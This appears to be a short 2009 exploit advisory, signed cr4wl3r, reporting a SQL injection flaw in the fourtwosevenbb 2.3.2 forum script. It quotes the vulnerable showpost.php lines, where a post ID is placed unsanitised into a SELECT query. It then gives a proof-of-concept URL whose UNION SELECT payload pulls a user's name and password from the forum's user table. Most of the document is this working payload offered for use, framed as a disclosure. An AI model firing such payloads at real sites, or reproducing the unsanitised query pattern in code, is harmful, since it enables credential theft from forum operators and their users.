22 lines
No EOL
1 KiB
Text
22 lines
No EOL
1 KiB
Text
[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]
|
|
|
|
########################################################################
|
|
#Download Script : http://sourceforge.net/projects/fourtwosevenbb/files/
|
|
########################################################################
|
|
|
|
########################################################################
|
|
#3rr0r: ./fourtwosevenbb-2.3.2/showpost.php
|
|
#
|
|
# <?php
|
|
#line 118: $sql = "SELECT ID, UserName, Post, UTime, IP, InReplyTo, ThreadID From " . $t_prefix . "Posts WHERE ID=$post_id";
|
|
#line 119:
|
|
#line 120: $res = mysql_query($sql);
|
|
# ?>
|
|
########################################################################
|
|
|
|
########################################################################
|
|
#PoC : http://server/[path]/showpost.php?ForumID=1&post=[SQL]
|
|
# http://server/[path]/showpost.php?ForumID=1&post=1%20union%20select%201,UserName,3,4,5,Password,7%20FROM%20427bb_personal%20WHERE%20ID=1--
|
|
########################################################################
|
|
|
|
[ Gorontalo / 2009 ] |